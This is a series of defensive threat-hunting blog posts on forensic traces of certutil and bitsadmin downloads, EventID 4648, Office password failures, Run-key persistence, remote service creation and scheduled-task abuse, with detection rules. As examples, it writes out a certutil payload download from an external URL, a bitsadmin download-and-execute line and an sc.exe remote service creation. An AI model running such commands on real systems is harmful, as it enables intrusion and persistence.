Wednesday, 13 March 2019

[Initial Access & execution] - Evidences for files download using Certutil.exe utility

Cetutil is a Microsoft native utility that can be used to dump and display certification authority (CA) configuration information, configure certificate services, back up and restore CA components, verify certificates, key pairs or certificate chains.  

It comes with several command options, among which some of them can be (ab)used to decode a b64/hex encoded malicious file and/or to download a payload/script:

  • Decoding example: certutil -decode %TEMP%\\Signature.crt %TEMP%\\Sign.exe
  • Download example: certutil -urlcache -split -f http://www.annduval.com/Ua.php %APPDATA%\Softupdate.txt 
To investigate any potential behavioral indicators to detect the download operation, we will download a file from the internet and monitor files and registry changes using procmon.exe:





As can be seen below, no relevant registry changes:


Surprisingly, FileWrite operations reveal good forensics artifacts:


As can be seen above, we have multiple write operations:
  1. Location specified in the certutil.exe command as a destination for the downloaded file.
  2. C:\Users\username\AppData\Local\Microsoft\Windows\INetCache\IE\<Random>\SysinternalsSuite.zip
  3. C:\Users\username\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\random_file_name
  4. C:\Users\username\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\random_file_name
Verifying the content of the written files in 2 and 4 reveals that hey are just copies of the downloaded file (stored in 1) --> Good for IR and Forensics (copy of dropped file 👍):





Last observed useful artifact is the used download URL (found in file #3 "CryptnetUrlCache\Metadata"):



Notes:
  • Same tests conducted on Windows 10 were replicated on Windows 7, same artifacts with the exception of the copy written to INETCACHE folder (see bullet #2)
  • Renaming certutil.exe and running it from %temp% left same artifacts
  • Microsoft\CryptnetUrlCache\Content & METADATA are not highly solicited folders, see below creation times on one machine that keeps content from 2017 until present (which is good for forensics and hunting previous infections using this technique):




References:


Monday, 11 March 2019

An overview of Windows EventID 4648 - Logon with explicit credentials

In this post, we will try to analyse some of the known noisy windows events and see if there are any hidden opportunities or details we are missing because of the high volume  and that we can turn them into our advantage. More importantly for any defender knowing what's normal helps a lot (especially during investigation in post-breach mode where you don't have time ...) to identify the abnormal things. 

This event is qualified as noisy because every time a user, a computer account logon, a service or a task runs this event get logged. Before we start let's agree on the field/attributes of interest in 4648 event:
  1. Subject Account Name -> referred to as SourceUserName
  2. Account Name -> referred to as DestinationUserName (Alternate Credentials)
  3. Process Information -> the process involved in the switch of credentials (i.e. from account-A to account-B)
  4. Target Server -> if you do a remote logon with different credentials then the TargetServer will contain info about the destination 
  5. Network Information -> if your machine receives a remote authentication from host 1.2.3.4, then you will see in your machine 4648 event this IP address.
A quick search for 3 months period of 4648 event logs from 4 DC yields the following:


As can be seen above, majority of the noise is coming from the following combination of attributes:
  • SourceUserName = System
  • DestinationUserName = Domain User or Computer AccountName
  • Process: *\lsass.exe 

  • SourceUserName = System
  • DestinationUserName= *$ (Computer Account)
  • ProcessName=*\taskhostw.exe or *\taskhost.exe or *\taskeng.exe


  • SourceUserName = System
  • DestinationUserName = System
  • ProcessName=*\service.exe or *\svchost.exe
  • Target Server Name: localhost
  • Network Address = NULL

  • SourceUserName = *$
  • DestinationUserName = *
  • ProcessName=*\service.exe or *\winlogon.exe
  • Target Server Name: localhost
  • Network Address = 127.0.0.1 (indicate local interactive logon - 4624 LogonType=2)


 Now let's drill down into some of the interesting 4648's attributes combinations:

A) Inbound RDP Process=winlogon.exe and NetworkAddress is not Null nor equal to loopback address and is often associated to a remote interactive logon activity (Logon Type equal 10 or 7)


B) Outbound RDP: SourceUserName != System or *$ and Additional Information contains TERMSRV.



C) Net use x: \\target  /user:example\admin01: EventId 4648 with Logon ProcessID=4 (System, very rare)



D) Remote Service Interaction (using sc.exe with explicit creds):


E) Services running with specific account (other than local SYSTEM or NETWORK SERVICE):



Takeaway:

  • Monitor 4648 with process-name different than the top common ones (winlogon.exe, lsass.exe, svchost.exe, task*.exe, mmc.exe, services.exe, consent.exe, w3wp.exe)
  • Monitor 4648 with ProcessID=0x4 (System virtual process).
  • Monitor 4648 with SourceAccountName different than (System or *$) and SourceAccountName != DestinationAccountNAme
  • When investigating RDP activity, pay attention to 4648 with process name equal to winlogon.exe and Network Address is not null nor equal to locahost
  • When investigating 4648 events, pay attention to the Additional Information attribute.



Initial Access & Execution - Windows default traces of bitsadmin execution

This short post is useful for when investigating an infected machine, and you suspect that Bitsadmin.exe (windows legit utility) was used to perform the download of the 1st stage payload but you can't find processes execution logs 4688 to confirm or deny this theory. 

To search for the relevant indicators we will execute the following command that will download and execute a 1st stage .wsf script:

bitsadmin /transfer profile.jpg /download /priority high http://192.168.254.128:8443/profile.jpg.wsf %temp%\profile.jpg.wsf & start /wait %temp%\profile.jpg.wsf & del %temp%\profile.jpg.wsf




As you can see above, the download completed successfully.

We already knew that there is windows events channel log file named "Bits-Client", given the naming similarity we decided to check it closely:



The log file content can be found here:

%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx

Luckily for us, all needed evidences of bitsadmin download activity were recorded there:







As you can see above, events 3, 59 and 60 records bitsadmin transfer job's life-cycle, including the name of the process, the download URL and the result of the transfer (success: status code will be equal to 0x0, failure it will be marked as a warning with a failure code).

In order to verify the resiliency of those artifacts, we decided to rename bitsadmin.exe and run it from a different path:


The download operation was successful, and verifying sysmon process creation events we can see:


As you can see above, detection based on combining process name with command line can be easily bypassed (i.e. ImageName=bitsadmin and commandline contains "transfer").

Going back to bits-client eventlogs we can see that the renamed bitsadmin.exe utility was captured, which is good for us:



References:

Friday, 8 March 2019

Brute-forcing Password Protected Office Files - Forensic artifact

In this short post we will be showing an interesting artifact we've found on Office Alert event logs, and that can be useful for cases like insider investigation or similar situations involving an unauthorized person trying to open a password protected file from a machine you control.

Office Alert Logs can be found here:

%SystemRoot%\System32\Winevt\Logs\OAlerts.evtx

Or viewed directly from within EventViewer:




As an example, we've created a simple excel sheet with password protection:




if someone else try to open the file once or multiple times and supply incorrect password, this will trigger Office Alert eventid 300 with the following text:

The password you supplied is not correct. Verify that the CAPS LOCK key is off and be sure to use the correct capitalization.

The number of similar events is proportional to the number of failed access attempt (which may help understand the nature of those failures):



Unfortunately this Log dose not record the document name "Weird", but at least you have a solid evidence of such as action plus the timestamp you can correlate with other events.

Related Post:

https://blog.menasec.net/2019/02/threat-hunting-4-detecting-excelword.html

Thursday, 7 March 2019

How to hunt for processes starting from Run RunOnce & Startup folders

In this short post we will be showing you one way on how to use process creation events to detect programs running from:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • %Appdata%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  • %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup

This can be useful in situations where you are provided only with process creation events (Sysmon eventid 1 or Windows builtin eventid 4688 or EDR process creation telemetry) and you don't have access to registry values on all machines or you want to be selective into which machine to access directly and use autoruns (sysinternal utility, can be found here) for further analysis (reduce the scope and efforts).

The idea is very simple and straightforward, if a program is spawned by explorer.exe (child process of userinit.exe) or spawned by runonce.exe within the first minute of explorer.exe execution time, then it's likely to be a persistent process and you need to assess it further (VT hash, signature, network connections, timestamps etc.). 

We've inserted into the aforementioned auto-stratup locations a commend of "hello from %startup-loc% plus the one that already existed in the machine, see the below examples:





After rebooting the machine and logging in, we can see the following process creations events sorted by execution time:


As you can see above this can confirm our theory, of looking at adjacent process execution close to the first executed explorer.exe (child of userinit.exe son of ... 😤 ) as well as the child processes of runonce.exe.

Note also that programs starting from HKCU runonce are spawned by explorer.exe while HKLM runonce are spawned by runonce.exe. The time difference between explorer.exe execution and HKCU runonce entries's execution is less than 1 minutes, it could be more if you have more registry or startup folder entries but one can differentiate between processes started manually or automatically (a.k.a a user won't start rundll32.exe, cscript, wmic or cmd.exe within first minutes  of a session startup). 

Example of Log Parser Studio (Excellent Microsoft Log Parsing Utility) query for sysmon process creation eventid 1 (then you will need to sort the result by time and start your analysis from the first explorer.exe execution):

select extract_token(Strings,1,'|') As Time, extract_token(Strings,9,'|') As ProCmdline, extract_token(Strings,20,'|') As Parent FROM 'sysmon.evtx' where EventID=1 and (Parent like '%explorer%' or Parent like '%runonce%' or Parent like '%userinit%')


Sunday, 3 March 2019

Threat Hunting #26 - Remote Windows Service Creation / Recon

Interacting remotely with windows services is one way to execute programs remotely as well as persisting across system reboots. It can be done via different utilities (sc.exe, WMI etc.) but in this post we will be focusing more on artifacts and methods to detect this based on static behavioral indicators and independently from the used utilities.

A) Create remotely a service using legit windows built-in utilities:

Example of a command to create remotely a new service "remotesvc" on host 1.2.3.4 that persist system reboot and executes cmd.exe:

sc \\1.2.3.4 create remotesvc binpath= cmd.exe type= own start= auto

From the source machine, we can see clearly sc.exe is connecting to a remote host and source|destination ports are both dynamic RCP port numbers [TCP 49152-65535]:


Monitoring sc.exe process execution command line and network connections is good but not resilient enough and can be bypassed easily as a detection (a.k.a rename sc.exe to something else and run it from another folder). 

On the target machine, the most interesting observed events are:

Windows Built-in:
  • [System Events] Event-ID 7045: A service was installed on the system (expected, since we've created a service)
  • [Security Events] Event-ID 5156: The Windows Filtering Platform has allowed a connection
If you enable System> Security System Extension in your Advanced Audit Policy GPO you will be able to see eventid 4697 in your security events and which is equivalent to 7045.  

Sysmon:
    Both events 5156 and 3 (sysmon) contain same information and indicates incoming and/or outgoing network connections from the services.exe process to the source machine of our command. Which is a good indication of remote interaction with the service control manager on the target machine.

    Sysmon's observed key events:


    Windows's builtin observed key events:


    B) Creating a remote service using external utilities (i.e. psexec, paexec, psexec_psh, remcom etc.):

    The aforementioned third party utilities are extremely useful for an attacker to move laterally and expand the compromise. High level modus operandi is quite simple and similar across this category of utilities:
    1. Extract a service PE from it's resource section or download it from elsewhere
    2. Copy the extracted PE to the destination host
    3. Register a service on the destination machine (with binpath pointing to the PE extracted in step 2) and send a start control to begin execution
    4. Start Interacting with the remote machine
    To detect reliably the above steps we will be using our best friend event 5145:
    • [Security] EventID 5145 - A network share object was checked to see whether client can be granted desired access -> will help us to detect step 2 and 3 from the destination host security events:


    Detection & Takeaways:

    Correlation Rule 1 (standard remote service creation - windows builtin):

    [EventID=5156 and ApplicationName like "*\services.exe" and SourceAddress != DestinationAddress and SourcePort>=49152 and DestinationPort>=49152 and SourceAddress!=Null and DestinationAddress!=Null] followed by (EventID=7045 or EventID=4697) within 1 min and same ComputerName.

    Correlation Rule 2 (standard remote service creation - sysmon) :

    [EventID=13 and TargetObject like "HKLM\System\CurrentControlSet\services\*"] followed by [EventID=3 and SourceIP != DestinationIP and SourcePort>=49152 and DestinationPort>=49152 and Image like "*\services.exe" and SourceIP!=Null and DestinationIP !=Null] within 1 minute and Same ComputerName.

    Correlation Rule 3 (psexec family):

    [EventID=5145 and ShareName=(\\*\ADMIN$ or \\*\C$) and event.payloads contains "WriteData"] followedby [EventID=5145 & ShareName='\\*\IPC$' and RelativeTargetName:'svcctl')] within 1min and with Same [AccountName, SourceAddres,Port] and Same ComputerName

    Saturday, 2 March 2019

    Threat Hunting #25 - Scheduled Tasks for Persistence and/or Remote Execution

    The Task Scheduler enables you to automatically perform routine tasks on a chosen computer. The Task Scheduler does this by monitoring whatever criteria you choose to initiate the tasks (referred to as triggers) and then executing the tasks (Action) when the criteria is met (user logon, system startup, event log triggered, fixed execution time reached etc.). 

    Attackers (ab)uses Task Scheduler to guarantee persistence and/or remote execution. In this post we will be covering some of the suspicious scheduled tasks related behaviors that you can start hunting for:

    A)  Scheduled Task running programs from suspicious locations or scripting utilities: 

    Tasks running scripts or programs from temp directories or insecure location (writable by any user) are a good indicator for initial (malware just landed) execution/persistence via scheduled tasks, includes but not limited to the following locations:
    • c:\users\*
    • c:\programdata\*
    • c:\windows\temp\*
    For scripting utilities pay attention to tasks with action set to one of the following (inspect the arguments if they point to the above insecure commonly used paths):
    • cscript.exe
    • wscript.exe
    • rundll32.exe
    • regsvr32.exe
    • wmic.exe
    • cmd.exe
    • mshta.exe
    • powershell.exe
    Example of similar malicious entry using powerlshell.exe and obfuscated arguments:



    B) Remote Task creation using ATSVC named pipe or the deprecated AT.exe cmdlet:

    Using At.exe command or directly interacting with the ATSVC named API to create remote scheduled Job will leave several traces (Events 106, 4698, file write to c:\windows\tasks\At*), but all of those indicators apply also to a local scheduled task, in this case we are more interested by the remote one.

    Just as an example, we will be using crackmap (post exploitation toolkit, very powerful hacking tool) and opt for ATEXEC as a remote execution method (which interact with ATSVC named pipe):


    This results in the following key indicator:


    As you can see above, we can hunt for it using only EventId 5145 and ShareName:\\*\IPC$ and  RelativeTargetName equal to atsvc named pipe, below a SIGMA rule example:




    And an example of a Splunk query:

    (EventID="5145" ShareName="\\\*\\IPC$" RelativeTargetName="atsvc")

    C) Tasks with Short LifeTime:

    For this use case, we will hunt for scheduled tasks with short life time, used to execute something and then remove itself from the task scheduler. We will need the following two events:
    • 4698 - A Scheduled Task was created
    • 4699 - A Scheduled Task was deleted
    Below an example of malicious task with less than 1 min life time:


    Detection Logic: If 4698 followed by 4699 with same LogonID and TaskName within 1min -> alert("Suspicious Scheduled Task - Short Life Time") 

    D) Remote Task Creation:

    Remote scheduled tasks are not necessarily malicious, but it's worth checking and verifying their legitimacy. For this use case we will need two security events from the target machine:
    • 4624 - An account was successfully logged on (with Logon Type =3 -> Network)
    • 4698 - A scheduled task was created
    Below an example of the observed logs:


    Detection Logic:

    If (event.id=4624 and event.logontype=3 followed by event.id=4698) and same event.logonid within 1min --> Alert ("Remote Scheduled Task Created")

    E) Modification of an existing Windows Default Scheduled Task:

    From a malicious actor perspective, adding an extra action to an existing windows default scheduled task (as shown below) has the following advantages:
    • No New Scheduled Task Creation Event is triggered (EventIDs: 106 & 4698)
    • Rogue task mixes with default windows task name and triggers (less suspicion) 
    Any (including the ones with Action set to custom handler) Windows default scheduled task that runs for example at any user logon and with status ready can be abused by adding an extra action:



    And when checking with Autorunsc, this is what you will see:


    The only relevant indicator we've observed is event 4702 "Task Updated" indicating the update of a Microsoft Windows Task and source account name is different than the local System account (which is abnormal):


    For normal Windows default tasks updates 4702 you will see something like this:

    F) Modification of the program run by a Windows Default Scheduled Task:

    Files of interest for hijacking existing default windows 7 and 10 scheduled tasks (Action trigger is set to system startup or any user logon or every day at working hours):

    • %SystemRoot%\System32\aitagent.exe
    • %windir%\system32\compattel\DiagTrackRunner.exe
    • %windir%\system32\CompatTelRunner.exe
    • acproxy.dll
    • %SystemRoot%\System32\wsqmcons.exe
    • %windir%\system32\lpremove.exe
    • srrstr.dll,ExecuteScheduledSPPCreation
    • %windir%\system32\wermgr.exe
    • %systemroot%\System32\sdclt.exe
    • %windir%\system32\appidcertstorecheck.exe
    • %windir%\system32\AppHostRegistrationVerifier.exe
    • "C:\Windows\System32\MicTray64.exe"
    • %systemroot%\system32\usoclient.exe
    • %SystemRoot%\System32\dsregcmd.exe
    • %systemroot%\System32\sihclient.exe
    Action set to Custom Handler and triggered at user logon or system startup :
    • system32\dimsjob.dll
    • Racengn.dll
    • HotstartUserAgent.dll
    • MsCtfMonitor.dll
    • PlaySndSrv.dll
    Common third party tasks's programs that are of interest:

    C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe
    C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

    Any modification to those files must be reviewed using Sysmon EID 11 (FileCreate - include them in your sysmonconfig) or EDR (filemod) or similar.





    Example of CarbonBlack Query:

    filemod:aitagent.exe or filemod:DiagTrackRunner.exe or filemod:CompatTelRunner.exe or filemod:acproxy.dll or filemod:wsqmcons.exe or filemod:lpremove.exe or filemod:srrstr.dll or filemod:wermgr.exe or filemod:sdclt.exe or filemod:appidcertstorecheck.exe or filemod:AppHostRegistrationVerifier.exe or filemod:MicTray64.exe or filemod:usoclient.exe or filemod:dsregcmd.exe or filemod:sihclient.exe or filemod:dimsjob.dll or filemodLracengn.dll or filemod:HotstartUserAgent.dll or filemod:MsCtfMonitor.dll or filemod:PlaySndSrv.dll or filemod:AdobeARM.exe or filemod:GoogleUpdate.exe

    N.B. changing files in protected system directories will require from the attacker to change file owner and then grant himself or a group Full access rights, windows builtin utilities to do that are takeown.exe and icacls.exe (include them in your watchlist, may come renamed, use IMPHASH in your sysmon configuration or File description or Hashes).



    G) Scheduled Task set to run only once (weird):

    Example of only once scheduled tasks can be seen below:


    XML config of the same:


    Detection Logic:

    if event.id=4698 and event.payload regxp-matches "(?i)(.*TimeTrigger.+EndBoundary.*)" -> Alert ("One Time Exec Scheduled Task Detected")